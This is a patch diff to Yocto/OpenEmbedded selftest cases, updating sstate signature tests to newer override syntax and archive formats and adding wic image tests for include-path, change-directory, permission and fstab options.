self.run_test_rebuild_distro_specific_sstate(['binutils-cross-' + self.tune_arch, 'binutils-native'], temp_sstate_location=True)
@@ -171,9 +175,9 @@ class SStateTests(SStateBase):
# If buildhistory is enabled, we need to disable version-going-backwards
# QA checks for this test. It may report errors otherwise.
- self.append_config('ERROR_QA_remove = "version-going-backwards"')
+ self.append_config('ERROR_QA:remove = "version-going-backwards"')
- # For not this only checks if random sstate tasks are handled correctly as a group.
+ # For now this only checks if random sstate tasks are handled correctly as a group.
# In the future we should add control over what tasks we check for.
sstate_archs_list = []
@@ -185,23 +189,23 @@ class SStateTests(SStateBase):
if not sstate_arch in sstate_archs_list:
sstate_archs_list.append(sstate_arch)
if target_config[idx] == target_config[-1]:
- target_sstate_before_build = self.search_sstate(target + r'.*?\.tgz$')
+ target_sstate_before_build = self.search_sstate(target + r'.*?\.tar.zst$')
bitbake("-cclean %s" % target)
result = bitbake(target, ignore_status=True)
if target_config[idx] == target_config[-1]:
- target_sstate_after_build = self.search_sstate(target + r'.*?\.tgz$')
+ target_sstate_after_build = self.search_sstate(target + r'.*?\.tar.zst$')
expected_remaining_sstate += [x for x in target_sstate_after_build if x not in target_sstate_before_build if not any(pattern in x for pattern in ignore_patterns)]
self.remove_config(global_config[idx])
self.remove_recipeinc(target, target_config[idx])
self.assertEqual(result.status, 0, msg = "build of %s failed with %s" % (target, result.output))
runCmd("sstate-cache-management.sh -y --cache-dir=%s --remove-duplicated --extra-archs=%s" % (self.sstate_path, ','.join(map(str, sstate_archs_list))))
- actual_remaining_sstate = [x for x in self.search_sstate(target + r'.*?\.tgz$') if not any(pattern in x for pattern in ignore_patterns)]
+ actual_remaining_sstate = [x for x in self.search_sstate(target + r'.*?\.tar.zst$') if not any(pattern in x for pattern in ignore_patterns)]
actual_not_expected = [x for x in actual_remaining_sstate if x not in expected_remaining_sstate]
- self.assertFalse(actual_not_expected, msg="Files should have been removed but ware not: %s" % ', '.join(map(str, actual_not_expected)))
+ self.assertFalse(actual_not_expected, msg="Files should have been removed but were not: %s" % ', '.join(map(str, actual_not_expected)))
expected_not_actual = [x for x in expected_remaining_sstate if x not in actual_remaining_sstate]
- self.assertFalse(expected_not_actual, msg="Extra files ware removed: %s" ', '.join(map(str, expected_not_actual)))
+ self.assertFalse(expected_not_actual, msg="Extra files were removed: %s" ', '.join(map(str, expected_not_actual)))
def test_sstate_cache_management_script_using_pr_1(self):
global_config = []
@@ -255,9 +259,10 @@ BUILD_ARCH = "x86_64"
BUILD_OS = "linux"
SDKMACHINE = "x86_64"
PACKAGE_CLASSES = "package_rpm package_ipk package_deb"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
- bitbake("core-image-sato -S none")
+ bitbake("core-image-weston -S none")
self.write_config("""
MACHINE = "qemux86"
TMPDIR = "${TOPDIR}/tmp-sstatesamehash2"
@@ -266,14 +271,15 @@ BUILD_ARCH = "i686"
BUILD_OS = "linux"
SDKMACHINE = "i686"
PACKAGE_CLASSES = "package_rpm package_ipk package_deb"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
- bitbake("core-image-sato -S none")
+ bitbake("core-image-weston -S none")
def get_files(d):
f = []
for root, dirs, files in os.walk(d):
- if "core-image-sato" in root:
+ if "core-image-weston" in root:
# SDKMACHINE changing will change
# do_rootfs/do_testimage/do_build stamps of images which
# is safe to ignore.
@@ -298,16 +304,18 @@ PACKAGE_CLASSES = "package_rpm package_ipk package_deb"
TMPDIR = \"${TOPDIR}/tmp-sstatesamehash\"
TCLIBCAPPEND = \"\"
NATIVELSBSTRING = \"DistroA\"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
- bitbake("core-image-sato -S none")
+ bitbake("core-image-weston -S none")
self.write_config("""
TMPDIR = \"${TOPDIR}/tmp-sstatesamehash2\"
TCLIBCAPPEND = \"\"
NATIVELSBSTRING = \"DistroB\"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
- bitbake("core-image-sato -S none")
+ bitbake("core-image-weston -S none")
def get_files(d):
f = []
@@ -332,13 +340,17 @@ NATIVELSBSTRING = \"DistroB\"
TMPDIR = \"${TOPDIR}/tmp-sstatesamehash\"
TCLIBCAPPEND = \"\"
MACHINE = \"qemux86-64\"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
"""
+ #OLDEST_KERNEL is arch specific so set to a different value here for testing
configB = """
TMPDIR = \"${TOPDIR}/tmp-sstatesamehash2\"
TCLIBCAPPEND = \"\"
MACHINE = \"qemuarm\"
+OLDEST_KERNEL = \"3.3.0\"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
"""
- self.sstate_allarch_samesigs(configA, configB)
+ self.sstate_common_samesigs(configA, configB, allarch=True)
def test_sstate_nativesdk_samesigs_multilib(self):
"""
@@ -351,7 +363,8 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemux86-64\"
require conf/multilib.conf
MULTILIBS = \"multilib:lib32\"
-DEFAULTTUNE_virtclass-multilib-lib32 = \"x86\"
+DEFAULTTUNE:virtclass-multilib-lib32 = \"x86\"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
"""
configB = """
TMPDIR = \"${TOPDIR}/tmp-sstatesamehash2\"
@@ -359,10 +372,11 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemuarm\"
require conf/multilib.conf
MULTILIBS = \"\"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
"""
- self.sstate_allarch_samesigs(configA, configB)
+ self.sstate_common_samesigs(configA, configB)
- def sstate_allarch_samesigs(self, configA, configB):
+ def sstate_common_samesigs(self, configA, configB, allarch=False):
self.write_config(configA)
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
@@ -390,6 +404,13 @@ MULTILIBS = \"\"
self.maxDiff = None
self.assertEqual(files1, files2)
+ if allarch:
+ allarchdir = os.path.basename(glob.glob(self.topdir + "/tmp-sstatesamehash/stamps/all-*-linux")[0])
+
+ files1 = get_files(self.topdir + "/tmp-sstatesamehash/stamps/" + allarchdir)
+ files2 = get_files(self.topdir + "/tmp-sstatesamehash2/stamps/" + allarchdir)
+ self.assertEqual(files1, files2)
+
def test_sstate_sametune_samesigs(self):
"""
The sstate checksums of two identical machines (using the same tune) should be the
@@ -403,7 +424,8 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemux86\"
require conf/multilib.conf
MULTILIBS = "multilib:lib32"
-DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
bitbake("world meta-toolchain -S none")
@@ -413,7 +435,8 @@ TCLIBCAPPEND = \"\"
MACHINE = \"qemux86copy\"
require conf/multilib.conf
MULTILIBS = "multilib:lib32"
-DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
bitbake("world meta-toolchain -S none")
@@ -436,6 +459,46 @@ DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
self.assertCountEqual(files1, files2)
+ def test_sstate_multilib_or_not_native_samesigs(self):
+ """The sstate checksums of two native recipes (and their dependencies)
+ where the target is using multilib in one but not the other
+ should be the same. We use the qemux86copy machine to test
+ this.
+ """
+
+ self.write_config("""
+TMPDIR = \"${TOPDIR}/tmp-sstatesamehash\"
+TCLIBCAPPEND = \"\"
+MACHINE = \"qemux86\"
+require conf/multilib.conf
+MULTILIBS = "multilib:lib32"
+DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
+""")
+ self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
+ bitbake("binutils-native -S none")
+ self.write_config("""
+TMPDIR = \"${TOPDIR}/tmp-sstatesamehash2\"
+TCLIBCAPPEND = \"\"
+MACHINE = \"qemux86copy\"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
+""")
+ self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
+ bitbake("binutils-native -S none")
+
+ def get_files(d):
+ f = []
+ for root, dirs, files in os.walk(d):
+ for name in files:
+ f.append(os.path.join(root, name))
+ return f
+ files1 = get_files(self.topdir + "/tmp-sstatesamehash/stamps")
+ files2 = get_files(self.topdir + "/tmp-sstatesamehash2/stamps")
+ files2 = [x.replace("tmp-sstatesamehash2", "tmp-sstatesamehash") for x in files2]
+ self.maxDiff = None
+ self.assertCountEqual(files1, files2)
+
+
def test_sstate_noop_samesigs(self):
"""
The sstate checksums of two builds with these variables changed or
@@ -450,8 +513,9 @@ PARALLEL_MAKE = "-j 1"
DL_DIR = "${TOPDIR}/download1"
TIME = "111111"
DATE = "20161111"
-INHERIT_remove = "buildstats-summary buildhistory uninative"
+INHERIT:remove = "buildstats-summary buildhistory uninative"
http_proxy = ""
+BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
self.track_for_cleanup(self.topdir + "/download1")
@@ -465,9 +529,10 @@ DL_DIR = "${TOPDIR}/download2"
TIME = "222222"
DATE = "20161212"
# Always remove uninative as we're changing proxies
-INHERIT_remove = "uninative"
+INHERIT:remove = "uninative"
INHERIT += "buildstats-summary buildhistory"
http_proxy = "http://example.com/"
+BB_SIGNATURE_HANDLER = "OEBasicHash"
""")
self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
self.track_for_cleanup(self.topdir + "/download2")
@@ -518,3 +583,44 @@ http_proxy = "http://example.com/"
compare_sigfiles(rest, files1, files2, compare=False)
self.fail("sstate hashes not identical.")
+
+ def test_sstate_movelayer_samesigs(self):
+ """
+ The sstate checksums of two builds with the same oe-core layer in two
+ different locations should be the same.
+ """
+ core_layer = os.path.join(
+ self.tc.td["COREBASE"], 'meta')
+ copy_layer_1 = self.topdir + "/meta-copy1/meta"
+ copy_layer_2 = self.topdir + "/meta-copy2/meta"
+
+ oe.path.copytree(core_layer, copy_layer_1)
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-sstatesamehash"
+""")
+ bblayers_conf = 'BBLAYERS += "%s"\nBBLAYERS:remove = "%s"' % (copy_layer_1, core_layer)
+ self.write_bblayers_config(bblayers_conf)
+ self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash")
+ bitbake("bash -S none")
+
+ oe.path.copytree(core_layer, copy_layer_2)
+ self.write_config("""
+TMPDIR = "${TOPDIR}/tmp-sstatesamehash2"
+""")
+ bblayers_conf = 'BBLAYERS += "%s"\nBBLAYERS:remove = "%s"' % (copy_layer_2, core_layer)
+ self.write_bblayers_config(bblayers_conf)
+ self.track_for_cleanup(self.topdir + "/tmp-sstatesamehash2")
+ bitbake("bash -S none")
+
+ def get_files(d):
+ f = []
+ for root, dirs, files in os.walk(d):
+ for name in files:
+ f.append(os.path.join(root, name))
+ return f
+ files1 = get_files(self.topdir + "/tmp-sstatesamehash/stamps")
+ files2 = get_files(self.topdir + "/tmp-sstatesamehash2/stamps")
+ files2 = [x.replace("tmp-sstatesamehash2", "tmp-sstatesamehash") for x in files2]
+ self.maxDiff = None
+ self.assertCountEqual(files1, files2)
+
diff --git a/meta/lib/oeqa/selftest/cases/sysroot.py b/meta/lib/oeqa/selftest/cases/sysroot.py
new file mode 100644
index 0000000000..79ab45235d
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/sysroot.py
@@ -0,0 +1,37 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+import uuid
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake
+
+class SysrootTests(OESelftestTestCase):
+ def test_sysroot_cleanup(self):
+ """
+ Build sysroot test which depends on virtual/sysroot-test for one machine,
+ switch machine, switch provider of virtual/sysroot-test and check that the
+ sysroot is correctly cleaned up. The files in the two providers overlap
+ so can cause errors if the sysroot code doesn't function correctly.
+ Yes, sysroot-test should be machine specific really to avoid this, however
+ the sysroot cleanup should also work [YOCTO #13702].
+ """
+
+ uuid1 = uuid.uuid4()
+ uuid2 = uuid.uuid4()
+
+ self.write_config("""
+PREFERRED_PROVIDER_virtual/sysroot-test = "sysroot-test-arch1"
+MACHINE = "qemux86"
+TESTSTRING:pn-sysroot-test-arch1 = "%s"
+TESTSTRING:pn-sysroot-test-arch2 = "%s"
+""" % (uuid1, uuid2))
+ bitbake("sysroot-test")
+ self.write_config("""
+PREFERRED_PROVIDER_virtual/sysroot-test = "sysroot-test-arch2"
+MACHINE = "qemux86copy"
+TESTSTRING:pn-sysroot-test-arch1 = "%s"
+TESTSTRING:pn-sysroot-test-arch2 = "%s"
+""" % (uuid1, uuid2))
+ bitbake("sysroot-test")
diff --git a/meta/lib/oeqa/selftest/cases/tinfoil.py b/meta/lib/oeqa/selftest/cases/tinfoil.py
index 42a1b6b4f4..8fd48bb054 100644
--- a/meta/lib/oeqa/selftest/cases/tinfoil.py
+++ b/meta/lib/oeqa/selftest/cases/tinfoil.py
@@ -65,19 +65,6 @@ class TinfoilTests(OESelftestTestCase):
localdata.setVar('PN', 'hello')
self.assertEqual('hello', localdata.getVar('BPN'))
- def test_parse_recipe_initial_datastore(self):
- with bb.tinfoil.Tinfoil() as tinfoil:
- tinfoil.prepare(config_only=False, quiet=2)
- testrecipe = 'mdadm'
- best = tinfoil.find_best_provider(testrecipe)
- if not best:
- self.fail('Unable to find recipe providing %s' % testrecipe)
- dcopy = bb.data.createCopy(tinfoil.config_data)
- dcopy.setVar('MYVARIABLE', 'somevalue')
- rd = tinfoil.parse_recipe_file(best[3], config_data=dcopy)
- # Check we can get variable values
- self.assertEqual('somevalue', rd.getVar('MYVARIABLE'))
-
def test_list_recipes(self):
with bb.tinfoil.Tinfoil() as tinfoil:
tinfoil.prepare(config_only=False, quiet=2)
@@ -107,21 +94,24 @@ class TinfoilTests(OESelftestTestCase):
pass
pattern = 'conf'
- res = tinfoil.run_command('findFilesMatchingInDir', pattern, 'conf/machine')
+ res = tinfoil.run_command('testCookerCommandEvent', pattern)
self.assertTrue(res)
eventreceived = False
commandcomplete = False
start = time.time()
- # Wait for 5s in total so we'd detect spurious heartbeat events for example
- while time.time() - start < 5:
+ # Wait for maximum 60s in total so we'd detect spurious heartbeat events for example
+ while (not (eventreceived == True and commandcomplete == True)
+ and (time.time() - start < 60)):
+ # if we received both events (on let's say a good day), we are done
event = tinfoil.wait_event(1)
if event:
if isinstance(event, bb.command.CommandCompleted):
commandcomplete = True
elif isinstance(event, bb.event.FilesMatchingFound):
self.assertEqual(pattern, event._pattern)
- self.assertIn('qemuarm.conf', event._matches)
+ self.assertIn('A', event._matches)
+ self.assertIn('B', event._matches)
eventreceived = True
elif isinstance(event, logging.LogRecord):
continue
@@ -183,8 +173,8 @@ class TinfoilTests(OESelftestTestCase):
self.assertEqual(value, 'origvalue', 'Variable renamed using config_data.renameVar() does not appear with new name')
# Test overrides
tinfoil.config_data.setVar('TESTVAR', 'original')
- tinfoil.config_data.setVar('TESTVAR_overrideone', 'one')
- tinfoil.config_data.setVar('TESTVAR_overridetwo', 'two')
+ tinfoil.config_data.setVar('TESTVAR:overrideone', 'one')
+ tinfoil.config_data.setVar('TESTVAR:overridetwo', 'two')
tinfoil.config_data.appendVar('OVERRIDES', ':overrideone')
value = tinfoil.config_data.getVar('TESTVAR')
self.assertEqual(value, 'one', 'Variable overrides not functioning correctly')
diff --git a/meta/lib/oeqa/selftest/cases/wic.py b/meta/lib/oeqa/selftest/cases/wic.py
index ea75300406..6f3dc27743 100644
--- a/meta/lib/oeqa/selftest/cases/wic.py
+++ b/meta/lib/oeqa/selftest/cases/wic.py
@@ -11,6 +11,7 @@
import os
import sys
import unittest
+import hashlib
from glob import glob
from shutil import rmtree, copy
@@ -44,6 +45,30 @@ def only_for_arch(archs, image='core-image-minimal'):
return wrapped_f
return wrapper
+def extract_files(debugfs_output):
+ """
+ extract file names from the output of debugfs -R 'ls -p',
+ which looks like this:
+
+ /2/040755/0/0/.//\n
+ /2/040755/0/0/..//\n
+ /11/040700/0/0/lost+found^M//\n
+ /12/040755/1002/1002/run//\n
+ /13/040755/1002/1002/sys//\n
+ /14/040755/1002/1002/bin//\n
+ /80/040755/1002/1002/var//\n
+ /92/040755/1002/1002/tmp//\n
+ """
+ # NOTE the occasional ^M in file names
+ return [line.split('/')[5].strip() for line in \
+ debugfs_output.strip().split('/\n')]
+
+def files_own_by_root(debugfs_output):
+ for line in debugfs_output.strip().split('/\n'):
+ if line.split('/')[3:5] != ['0', '0']:
+ print(debugfs_output)
+ return False
+ return True
class WicTestCase(OESelftestTestCase):
"""Wic test class."""
@@ -66,6 +91,7 @@ class WicTestCase(OESelftestTestCase):
self.skipTest('wic-tools cannot be built due its (intltool|gettext)-native dependency and NLS disable')
bitbake('core-image-minimal')
+ bitbake('core-image-minimal-mtdutils')
WicTestCase.image_is_ready = True
rmtree(self.resultdir, ignore_errors=True)
@@ -164,8 +190,8 @@ class Wic(WicTestCase):
def test_iso_image(self):
"""Test creation of hybrid iso image with legacy and EFI boot"""
config = 'INITRAMFS_IMAGE = "core-image-minimal-initramfs"\n'\
- 'MACHINE_FEATURES_append = " efi"\n'\
- 'DEPENDS_pn-core-image-minimal += "syslinux"\n'
+ 'MACHINE_FEATURES:append = " efi"\n'\
+ 'DEPENDS:pn-core-image-minimal += "syslinux"\n'
self.append_config(config)
bitbake('core-image-minimal core-image-minimal-initramfs')
self.remove_config(config)
@@ -191,7 +217,7 @@ class Wic(WicTestCase):
@only_for_arch(['i586', 'i686', 'x86_64'])
def test_bootloader_config(self):
"""Test creation of directdisk-bootloader-config image"""
- config = 'DEPENDS_pn-core-image-minimal += "syslinux"\n'
+ config = 'DEPENDS:pn-core-image-minimal += "syslinux"\n'
self.append_config(config)
bitbake('core-image-minimal')
self.remove_config(config)
@@ -202,7 +228,7 @@ class Wic(WicTestCase):
@only_for_arch(['i586', 'i686', 'x86_64'])
def test_systemd_bootdisk(self):
"""Test creation of systemd-bootdisk image"""
- config = 'MACHINE_FEATURES_append = " efi"\n'
+ config = 'MACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
bitbake('core-image-minimal')
self.remove_config(config)
@@ -210,6 +236,17 @@ class Wic(WicTestCase):
runCmd(cmd)
self.assertEqual(1, len(glob(self.resultdir + "systemd-bootdisk-*direct")))
+ def test_efi_bootpart(self):
+ """Test creation of efi-bootpart image"""
+ cmd = "wic create mkefidisk -e core-image-minimal -o %s" % self.resultdir
+ kimgtype = get_bb_var('KERNEL_IMAGETYPE', 'core-image-minimal')
+ self.append_config('IMAGE_EFI_BOOT_FILES = "%s;kernel"\n' % kimgtype)
+ runCmd(cmd)
+ sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
+ images = glob(self.resultdir + "mkefidisk-*.direct")
+ result = runCmd("wic ls %s:1/ -n %s" % (images[0], sysroot))
+ self.assertIn("kernel",result.output)
+
def test_sdimage_bootpart(self):
"""Test creation of sdimage-bootpart image"""
cmd = "wic create sdimage-bootpart -e core-image-minimal -o %s" % self.resultdir
@@ -223,7 +260,7 @@ class Wic(WicTestCase):
"""Test default output location"""
for fname in glob("directdisk-*.direct"):
os.remove(fname)
- config = 'DEPENDS_pn-core-image-minimal += "syslinux"\n'
+ config = 'DEPENDS:pn-core-image-minimal += "syslinux"\n'
self.append_config(config)
bitbake('core-image-minimal')
self.remove_config(config)
@@ -282,6 +319,7 @@ class Wic(WicTestCase):
"--image-name=core-image-minimal "
"-D -o %s" % self.resultdir)
self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct")))
+ self.assertEqual(1, len(glob(self.resultdir + "tmp.wic*")))
def test_debug_long(self):
"""Test --debug option"""
@@ -289,6 +327,7 @@ class Wic(WicTestCase):
"--image-name=core-image-minimal "
"--debug -o %s" % self.resultdir)
self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct")))
+ self.assertEqual(1, len(glob(self.resultdir + "tmp.wic*")))
def test_skip_build_check_short(self):
"""Test -s option"""
@@ -393,24 +432,6 @@ part /etc --source rootfs --ondisk mmcblk0 --fstype=ext4 --exclude-path bin/ --r
runCmd("dd if=%s of=%s skip=%d count=%d" %
(wicimg, part_file, start, length))
- def extract_files(debugfs_output):
- """
- extract file names from the output of debugfs -R 'ls -p',
- which looks like this:
-
- /2/040755/0/0/.//\n
- /2/040755/0/0/..//\n
- /11/040700/0/0/lost+found^M//\n
- /12/040755/1002/1002/run//\n
- /13/040755/1002/1002/sys//\n
- /14/040755/1002/1002/bin//\n
- /80/040755/1002/1002/var//\n
- /92/040755/1002/1002/tmp//\n
- """
- # NOTE the occasional ^M in file names
- return [line.split('/')[5].strip() for line in \
- debugfs_output.strip().split('/\n')]
-
# Test partition 1, should contain the normal root directories, except
# /usr.
res = runCmd("debugfs -R 'ls -p' %s 2>/dev/null" % \
@@ -451,6 +472,104 @@ part /etc --source rootfs --ondisk mmcblk0 --fstype=ext4 --exclude-path bin/ --r
finally:
os.environ['PATH'] = oldpath
+ def test_include_path(self):
+ """Test --include-path wks option."""
+
+ oldpath = os.environ['PATH']
+ os.environ['PATH'] = get_bb_var("PATH", "wic-tools")
+
+ try:
+ include_path = os.path.join(self.resultdir, 'test-include')
+ os.makedirs(include_path)
+ with open(os.path.join(include_path, 'test-file'), 'w') as t:
+ t.write("test\n")
+ wks_file = os.path.join(include_path, 'temp.wks')
+ with open(wks_file, 'w') as wks:
+ rootfs_dir = get_bb_var('IMAGE_ROOTFS', 'core-image-minimal')
+ wks.write("""
+part /part1 --source rootfs --ondisk mmcblk0 --fstype=ext4
+part /part2 --source rootfs --ondisk mmcblk0 --fstype=ext4 --include-path %s"""
+ % (include_path))
+ runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir))
+
+ part1 = glob(os.path.join(self.resultdir, 'temp-*.direct.p1'))[0]
+ part2 = glob(os.path.join(self.resultdir, 'temp-*.direct.p2'))[0]
+
+ # Test partition 1, should not contain 'test-file'
+ res = runCmd("debugfs -R 'ls -p' %s 2>/dev/null" % (part1))
+ files = extract_files(res.output)
+ self.assertNotIn('test-file', files)
+ self.assertEqual(True, files_own_by_root(res.output))
+
+ # Test partition 2, should contain 'test-file'
+ res = runCmd("debugfs -R 'ls -p' %s 2>/dev/null" % (part2))
+ files = extract_files(res.output)
+ self.assertIn('test-file', files)
+ self.assertEqual(True, files_own_by_root(res.output))
+
+ finally:
+ os.environ['PATH'] = oldpath
+
+ def test_include_path_embeded(self):
+ """Test --include-path wks option."""
+
+ oldpath = os.environ['PATH']
+ os.environ['PATH'] = get_bb_var("PATH", "wic-tools")
+
+ try:
+ include_path = os.path.join(self.resultdir, 'test-include')
+ os.makedirs(include_path)
+ with open(os.path.join(include_path, 'test-file'), 'w') as t:
+ t.write("test\n")
+ wks_file = os.path.join(include_path, 'temp.wks')
+ with open(wks_file, 'w') as wks:
+ wks.write("""
+part / --source rootfs --fstype=ext4 --include-path %s --include-path core-image-minimal-mtdutils export/"""
+ % (include_path))
+ runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir))
+
+ part1 = glob(os.path.join(self.resultdir, 'temp-*.direct.p1'))[0]
+
+ res = runCmd("debugfs -R 'ls -p' %s 2>/dev/null" % (part1))
+ files = extract_files(res.output)
+ self.assertIn('test-file', files)
+ self.assertEqual(True, files_own_by_root(res.output))
+
+ res = runCmd("debugfs -R 'ls -p /export/etc/' %s 2>/dev/null" % (part1))
+ files = extract_files(res.output)
+ self.assertIn('passwd', files)
+ self.assertEqual(True, files_own_by_root(res.output))
+
+ finally:
+ os.environ['PATH'] = oldpath
+
+ def test_include_path_errors(self):
+ """Test --include-path wks option error handling."""
+ wks_file = 'temp.wks'
+
+ # Absolute argument.
+ with open(wks_file, 'w') as wks:
+ wks.write("part / --source rootfs --fstype=ext4 --include-path core-image-minimal-mtdutils /export")
+ self.assertNotEqual(0, runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir), ignore_status=True).status)
+ os.remove(wks_file)
+
+ # Argument pointing to parent directory.
+ with open(wks_file, 'w') as wks:
+ wks.write("part / --source rootfs --fstype=ext4 --include-path core-image-minimal-mtdutils ././..")
+ self.assertNotEqual(0, runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir), ignore_status=True).status)
+ os.remove(wks_file)
+
+ # 3 Argument pointing to parent directory.
+ with open(wks_file, 'w') as wks:
+ wks.write("part / --source rootfs --fstype=ext4 --include-path core-image-minimal-mtdutils export/ dummy")
+ self.assertNotEqual(0, runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir), ignore_status=True).status)
+ os.remove(wks_file)
+
def test_exclude_path_errors(self):
"""Test --exclude-path wks option error handling."""
wks_file = 'temp.wks'
@@ -469,6 +588,173 @@ part /etc --source rootfs --ondisk mmcblk0 --fstype=ext4 --exclude-path bin/ --r
% (wks_file, self.resultdir), ignore_status=True).status)
os.remove(wks_file)
+ def test_permissions(self):
+ """Test permissions are respected"""
+
+ # prepare wicenv and rootfs
+ bitbake('core-image-minimal core-image-minimal-mtdutils -c do_rootfs_wicenv')
+
+ oldpath = os.environ['PATH']
+ os.environ['PATH'] = get_bb_var("PATH", "wic-tools")
+
+ t_normal = """
+part / --source rootfs --fstype=ext4
+"""
+ t_exclude = """
+part / --source rootfs --fstype=ext4 --exclude-path=home
+"""
+ t_multi = """
+part / --source rootfs --ondisk sda --fstype=ext4
+part /export --source rootfs --rootfs=core-image-minimal-mtdutils --fstype=ext4
+"""
+ t_change = """
+part / --source rootfs --ondisk sda --fstype=ext4 --exclude-path=etc/   
+part /etc --source rootfs --fstype=ext4 --change-directory=etc
+"""
+ tests = [t_normal, t_exclude, t_multi, t_change]
+
+ try:
+ for test in tests:
+ include_path = os.path.join(self.resultdir, 'test-include')
+ os.makedirs(include_path)
+ wks_file = os.path.join(include_path, 'temp.wks')
+ with open(wks_file, 'w') as wks:
+ wks.write(test)
+ runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir))
+
+ for part in glob(os.path.join(self.resultdir, 'temp-*.direct.p*')):
+ res = runCmd("debugfs -R 'ls -p' %s 2>/dev/null" % (part))
+ self.assertEqual(True, files_own_by_root(res.output))
+
+ config = 'IMAGE_FSTYPES += "wic"\nWKS_FILE = "%s"\n' % wks_file
+ self.append_config(config)
+ bitbake('core-image-minimal')
+ tmpdir = os.path.join(get_bb_var('WORKDIR', 'core-image-minimal'),'build-wic')
+
+ # check each partition for permission
+ for part in glob(os.path.join(tmpdir, 'temp-*.direct.p*')):
+ res = runCmd("debugfs -R 'ls -p' %s 2>/dev/null" % (part))
+ self.assertTrue(files_own_by_root(res.output)
+ ,msg='Files permission incorrect using wks set "%s"' % test)
+
+ # clean config and result directory for next cases
+ self.remove_config(config)
+ rmtree(self.resultdir, ignore_errors=True)
+
+ finally:
+ os.environ['PATH'] = oldpath
+
+ def test_change_directory(self):
+ """Test --change-directory wks option."""
+
+ oldpath = os.environ['PATH']
+ os.environ['PATH'] = get_bb_var("PATH", "wic-tools")
+
+ try:
+ include_path = os.path.join(self.resultdir, 'test-include')
+ os.makedirs(include_path)
+ wks_file = os.path.join(include_path, 'temp.wks')
+ with open(wks_file, 'w') as wks:
+ wks.write("part /etc --source rootfs --fstype=ext4 --change-directory=etc")
+ runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir))
+
+ part1 = glob(os.path.join(self.resultdir, 'temp-*.direct.p1'))[0]
+
+ res = runCmd("debugfs -R 'ls -p' %s 2>/dev/null" % (part1))
+ files = extract_files(res.output)
+ self.assertIn('passwd', files)
+
+ finally:
+ os.environ['PATH'] = oldpath
+
+ def test_change_directory_errors(self):
+ """Test --change-directory wks option error handling."""
+ wks_file = 'temp.wks'
+
+ # Absolute argument.
+ with open(wks_file, 'w') as wks:
+ wks.write("part / --source rootfs --fstype=ext4 --change-directory /usr")
+ self.assertNotEqual(0, runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir), ignore_status=True).status)
+ os.remove(wks_file)
+
+ # Argument pointing to parent directory.
+ with open(wks_file, 'w') as wks:
+ wks.write("part / --source rootfs --fstype=ext4 --change-directory ././..")
+ self.assertNotEqual(0, runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir), ignore_status=True).status)
+ os.remove(wks_file)
+
+ def test_no_fstab_update(self):
+ """Test --no-fstab-update wks option."""
+
+ oldpath = os.environ['PATH']
+ os.environ['PATH'] = get_bb_var("PATH", "wic-tools")
+
+ # Get stock fstab from base-files recipe
+ self.assertEqual(0, bitbake('base-files -c do_install').status)
+ bf_fstab = os.path.join(get_bb_var('D', 'base-files'), 'etc/fstab')
+ self.assertEqual(True, os.path.exists(bf_fstab))
+ bf_fstab_md5sum = runCmd('md5sum %s 2>/dev/null' % bf_fstab).output.split(" ")[0]
+
+ try:
+ no_fstab_update_path = os.path.join(self.resultdir, 'test-no-fstab-update')
+ os.makedirs(no_fstab_update_path)
+ wks_file = os.path.join(no_fstab_update_path, 'temp.wks')
+ with open(wks_file, 'w') as wks:
+ wks.writelines(['part / --source rootfs --fstype=ext4 --label rootfs\n',
+ 'part /mnt/p2 --source rootfs --rootfs-dir=core-image-minimal ',
+ '--fstype=ext4 --label p2 --no-fstab-update\n'])
